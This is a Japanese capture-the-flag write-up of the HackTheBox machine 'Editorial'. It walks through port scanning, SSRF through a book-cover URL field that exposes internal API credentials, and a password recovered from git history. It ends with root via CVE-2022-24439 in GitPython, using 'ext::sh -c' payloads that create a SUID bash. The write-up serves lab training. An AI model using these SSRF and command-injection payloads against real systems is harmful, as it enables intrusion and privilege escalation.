【HackTheBox】Editorial：Writeup

# 概要

HackTheBox「Editorial」のWriteupです。

https://app.hackthebox.com/machines/608

# User Flag

ポートスキャンを実行します。

```
$ nmap -Pn -sV -T4 -A -sC -p- 10.10.11.20 -oN nmap_result
PORT      STATE    SERVICE VERSION
22/tcp    open     ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 0d:ed:b2:9c:e2:53:fb:d4:c8:c1:19:6e:75:80:d8:64 (ECDSA)
|_  256 0f:b9:a7:51:0e:00:d5:7b:5b:7c:5f:bf:2b:ed:53:a0 (ED25519)
80/tcp    open     http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://editorial.htb
|_http-server-header: nginx/1.18.0 (Ubuntu)
```

ポートの稼働状況が分かりました。

|ポート|サービス|バージョン|
|:-:|:-:|:-:|
|22|ssh|OpenSSH 8.9p1|
|80|http|nginx 1.18.0|

ホスト名が分かったので`/etc/hosts`へ追加しWebページにアクセスします。

```
10.10.11.20     editorial.htb
```

ディレクトリの列挙を行います。

```
$ dirsearch -u http://editorial.htb/
[01:44:52] 200 -    3KB - /about
[01:46:37] 200 -    7KB - /upload
```

サブドメインの列挙を行いましたが、見つかりませんでした。

```
$ ffuf -c -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -H "Host: FUZZ.editorial.htb" -u http://editorial.htb -fs 178
```

`/upload`でファイルをアップロード出来るので脆弱性を探します。

![upload page.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/9add9f4e-d0f3-dec6-c9d8-11f6482e620e.png)

`/upload`でPOSTリクエストを送信できますが、特徴的な変化は見られませんでした。
`/upload`のソースコードを見ると、スクリプトを発見しました。

```
<script>
  document.getElementById('button-cover').addEventListener('click', function(e) {
    e.preventDefault();
    var formData = new FormData(document.getElementById('form-cover'));
    var xhr = new XMLHttpRequest();
    xhr.open('POST', '/upload-cover');
    xhr.onload = function() {
      if (xhr.status === 200) {
        var imgUrl = xhr.responseText;
        console.log(imgUrl);
        document.getElementById('bookcover').src = imgUrl;

        document.getElementById('bookfile').value = '';
        document.getElementById('bookurl').value = '';
      }
    };
    xhr.send(formData);
  });
</script>
```

`Cover URL~`の部分に画像のURLを挿入し右の`Preview`ボタンをクリックすると、URLへリクエストが飛び、`/static/uploads`配下にファイルを保存し、imgタグで画像が表示されると分かりました。

- Kali側のアクセスログ

```
$ python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.20 - - [12/Jul/2024 03:54:40] "GET /5iW7kC8.jpg HTTP/1.1" 200 -
```

- プレビューのリクエストとレスポンス

![upload file.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/a499bafa-ad07-44de-eb61-28bbb6d73300.jpeg)

- リクエストした画像の表示

![book cover.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/54ff32f8-1d4c-f50b-bacd-fec844442042.jpeg)

- imgタグで`/static/uploads`を参照している

![html source.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/8780a948-10b0-015a-ed45-d3e6b8fc19ef.jpeg)

同様の手順でターゲットマシンのローカルへリクエストを送ることもできると分かりました。

![local book cover.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/36e58009-36ba-b10f-1a4f-0694122ed350.jpeg)

`SSRF`の脆弱性があるかもしれません。
オープンなポートをブルートフォースで見つけます。

![SSRF port.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/1a9aeb48-cd32-5777-2a74-abcbb4682cef.jpeg)

Burpの無料版では時間がかかるのでFFUFを使用します。
まず、リクエストの内容をファイルに保存します。

```request.txt
POST /upload-cover HTTP/1.1
Host: editorial.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=---------------------------35607274802097688835196443196
Content-Length: 408
Origin: http://editorial.htb
Connection: close
Referer: http://editorial.htb/upload

-----------------------------35607274802097688835196443196
Content-Disposition: form-data; name="bookurl"

http://127.0.0.1:FUZZ
-----------------------------35607274802097688835196443196
Content-Disposition: form-data; name="bookfile"; filename=""
Content-Type: application/octet-stream


-----------------------------35607274802097688835196443196--
```

フィルタリングを適宜使用し、FFUFを実行します。

```
$ ffuf -c -w port.txt -request request.txt -u http://editorial.htb/upload-cover -fs 61
5000                    [Status: 200, Size: 51, Words: 1, Lines: 1, Duration: 287ms]
```

`5000`番ポートが見つかりました。
リクエストを送信するとパスが返ってきました。

![request 5000 port.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/3fa48b86-d898-247b-d274-b67a0750f82f.jpeg)

そのパスへGETリクエストを送信するとメッセージが返ってきました。

![ssrf success.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/04ae9bc9-979f-7645-3b2d-1c033f3a6051.jpeg)

```
$ cat message.txt | jq
{
  "messages": [
    {
      "promotions": {
        "description": "Retrieve a list of all the promotions in our library.",
        "endpoint": "/api/latest/metadata/messages/promos",
        "methods": "GET"
      }
    },
    {
      "coupons": {
        "description": "Retrieve the list of coupons to use in our library.",
        "endpoint": "/api/latest/metadata/messages/coupons",
        "methods": "GET"
      }
    },
    {
      "new_authors": {
        "description": "Retrieve the welcome message sended to our new authors.",
        "endpoint": "/api/latest/metadata/messages/authors",
        "methods": "GET"
      }
    },
    {
      "platform_use": {
        "description": "Retrieve examples of how to use the platform.",
        "endpoint": "/api/latest/metadata/messages/how_to_use_platform",
        "methods": "GET"
      }
    }
  ],
  "version": [
    {
      "changelog": {
        "description": "Retrieve a list of all the versions and updates of the api.",
        "endpoint": "/api/latest/metadata/changelog",
        "methods": "GET"
      }
    },
    {
      "latest": {
        "description": "Retrieve the last version of api.",
        "endpoint": "/api/latest/metadata",
        "methods": "GET"
      }
    }
  ]
}
```

`/api/latest/metadata/messages/authors`のエンドポイントが怪しいです。
リクエストを送信します。

![auth endpoint.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/e02185fa-2797-e073-0c4d-afcadc26a6de.jpeg)

パスが返ってきたのでアクセスするとユーザー名やパスワードが返ってきました。

![get pass username.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/cb989102-c832-e88f-2d24-4fe1214af2d0.jpeg)

```
{
  "template_mail_message": "Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.\n\nYour login credentials for our internal forum and authors site are:\nUsername: dev\nPassword: dev080217_devAPI!@\nPlease be sure to change your password as soon as possible for security purposes.\n\nDon't hesitate to reach out if you have any questions or ideas - we're always here to support you.\n\nBest regards, Editorial Tiempo Arriba Team."                                                                               
}
```


`Username: dev`,`Password: dev080217_devAPI!@`でSSH接続に成功しました。

```
$ ssh dev@Editorial.htb
dev@editorial:~$
```

`/home/dev/user.txt`からユーザーフラグを入手できます。

```/home/dev/user.txt
e035b8f2832089942120f97162787ea8
```

# Root Flag

`linpeas`をKaliからダウンロードし、実行します。

```
$ ./linpeas.sh > result.txt
```

しかし興味深いものは見つかりませんでした。

`/home`から`prod`アカウントを発見しました。
`prod`アカウントへの展開が必要かもしれません。

```
$ ls -l /home
total 8
drwxr-x--- 5 dev  dev  4096 Jul 12 11:53 dev
drwxr-x--- 6 prod prod 4096 Jul 12 11:54 prod
```

`/home/dev/apps/`を確認すると`.git`フォルダを発見しました。

```
$ ls -la apps/
total 12
drwxrwxr-x 3 dev dev 4096 Jun  5 14:36 .
drwxr-x--- 5 dev dev 4096 Jul 12 11:53 ..
drwxr-xr-x 8 dev dev 4096 Jun  5 14:36 .git
```

`git log`で変更履歴を確認すると`downgrading prod to dev`という興味深い履歴を発見しました。

```
$ git log

(省略)

commit b73481bb823d2dfb49c44f4c1e6a7e11912ed8ae
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
Date:   Sun Apr 30 20:55:08 2023 -0500

    change(api): downgrading prod to dev
    
    * To use development environment.
```

`git show`で変更箇所を見ると`prod`アカウントのクレデンシャル情報を発見しました。

```
$ git show b73481bb823d2dfb49c44f4c1e6a7e11912ed8ae

(省略)

-        'template_mail_message': "Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.\n\nYour login credentials for our internal forum and authors site are:\nUsername: prod\nPassword: 080217_Producti0n_2023!@\nPlease be sure to change your password as soon as possible for security purposes.\n\nDon't hesitate to reach out if you have any questions or ideas - we're always here to support you.\n\nBest regards, " + api_editorial_name + " Team."
```

`prod`アカウントに入ります。

```
$ su prod
Password: 
prod@editorial:/home/dev$
```

`sudo -l`で確認すると`/opt/internal_apps/clone_changes/clone_prod_change.py`を発見しました。

```
$ sudo -l
Matching Defaults entries for prod on editorial:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User prod may run the following commands on editorial:
    (root) /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py *
```

`/opt/internal_apps/clone_changes/clone_prod_change.py`の内容を確認します。

```/opt/internal_apps/clone_changes/clone_prod_change.py
#!/usr/bin/python3

import os
import sys
from git import Repo

os.chdir('/opt/internal_apps/clone_changes')

url_to_clone = sys.argv[1]

r = Repo.init('', bare=True)
r.clone_from(url_to_clone, 'new_changes', multi_options=["-c protocol.ext.allow=always"])
```

このコードでは、指定したURLのリポジトリを`/opt/internal_apps/clone_changes`へクローンしています。

`git`のpythonモジュールをインポートしているのでバージョンを確認します。

```
$ pip3 list | grep -i "git"
gitdb                 4.0.10
GitPython             3.1.29
```

調べると`GitPython 3.1.29`には`CVE-2022-24439`の脆弱性があると分かりました。

https://nvd.nist.gov/vuln/detail/CVE-2022-24439

下記のリポジトリを参考にします。

https://github.com/gitpython-developers/GitPython/issues/1515

脆弱性を悪用できるか確かめます。

```
$ /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::sh -c touch% /tmp/pwned'
```

root権限でファイルが作成されているのを確認できました。

```
$ ls -l
-rw-r--r-- 1 root root      0 Jul 12 09:37 pwned
```

シェルをコピーしてSUIDをセットしrootのシェルを起動します。

```
$ sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::sh -c cp% /bin/bash% /tmp/bash'
$ sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::sh -c chmod% u+s% /tmp/bash'
$ ls -l
total 1388
-rwsr-xr-x 1 root root 1396520 Jul 12 12:54 bash
```

rootのシェルを得られました。

```
$ /tmp/bash -p
bash-5.1# whoami
root
```

`/root/root.txt`からフラグを入手できます。

```/root/root.txt
ecf8d83aba4a48bb79c9c7fc1704e715
```